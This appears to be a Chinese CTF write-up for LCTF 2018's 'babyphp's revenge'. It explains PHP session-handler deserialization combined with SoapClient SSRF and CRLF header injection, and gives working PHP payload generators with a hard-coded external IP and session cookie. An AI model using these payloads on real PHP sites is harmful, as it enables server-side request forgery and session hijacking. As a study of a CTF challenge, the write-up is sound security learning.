Xi4or0uji's blog

lctf babyphp's revenge

字数统计: 761阅读时长: 3 min
2019/01/16 Share

题目源码很短,就几行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
index.php
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'],$_POST);
session_start();
if(isset($_GET['name'])){
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
flag.php
<?php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{******************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}

这题有个call_user_func函数,最好的情况下是先进行变量覆盖,将$b覆盖成unserialize,然后下一个call_user_func再去调用去进行利用,但是$a是数组,比较难进行利用,可是题目给出的flag文件可以猜测应该是利用反序列化去触发ssrf,只是我们找不到一个可以利用的类,所以现在的问题就是要先找一个可以进行利用的类。
我们可以看到,两个文件的session都开了,所以其实这里隐藏了php session的反序列化机制问题,通过session去进行反序列化的利用。

php session反序列化机制

在php.ini中存在着session.serialize_handler的配置,用来定义序列化处理的处理器的名字,默认使用的是php。
如果序列化和反序列化的引擎选择不一样,当使用php引擎的时候,php引擎会以|作为key和value的分隔,继续对value进行反序列化,由此达成触发反序列化的目的。
具体看这个 https://blog.spoock.com/2016/10/16/php-serialize-problem/

SOAP的利用

SOAP是webservice的三要素(soap,WSDL,UDDI)之一,WSDL用来描述如何访问具体的接口,UDDI用来管理、分发、查询webservice,SOAP可以和现存的许多因特网协议和格式结合使用。
简单的说,SOAP是连接在web服务和web客户端之间的接口。它采用http作为底层通讯协议,xml作为数据传送的格式。soap消息基本上是从发送端到接收端的单向传输,但他们常常结合起来执行类似于请求 / 应答的模式。
我们先试一下最简单的用法

1
2
3
4
5
6
<?php
$a = new SoapClient(null,array('location'=>'http://vps_ip:2333 ','uri'=>'123'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c -> a();


同时,修改头部还能有crlf漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$target = "http://134.175.34.73:2333";
$post_string = 'data=abc';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=crk7lmeh2r9b960jlcdh88kvg4'
);
$b = new SoapClient(null,array('location' => $target,'user_agent' => 'glarcy^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\n\r",$aaa);
echo urlencode($aaa);
//echo $b;
$d = unserialize($aaa);
$d -> b();

回到题目

因此这一题我们可以通过call_user_func去设置session.serialize_handler,然后用默认的引擎去触发反序列化。

1
2
3
4
5
<?php
$target = 'http://127.0.0.1/ctf/soap/flag.php';
$attack = new SoapClient(null,array('location'=>$target,'user_agent'=>"glary\r\nCookie: PHPSESSID=crk7lmeh2r9b960jlcdh88kvg4\r\n",'uri'=>'123'));
$payload = urlencode(serialize($attack));
echo $payload;

注意要在payload前加一个|,这样就能使它对payload反序列化。

此时,我们的payload已经存进去session了,接下来就是要去触发反序列化

因为题目会将session的值var_dump出来,最后只需要将我们的session改成payload的session就行

CATALOG
  1. 1. php session反序列化机制
  2. 2. SOAP的利用
  3. 3. 回到题目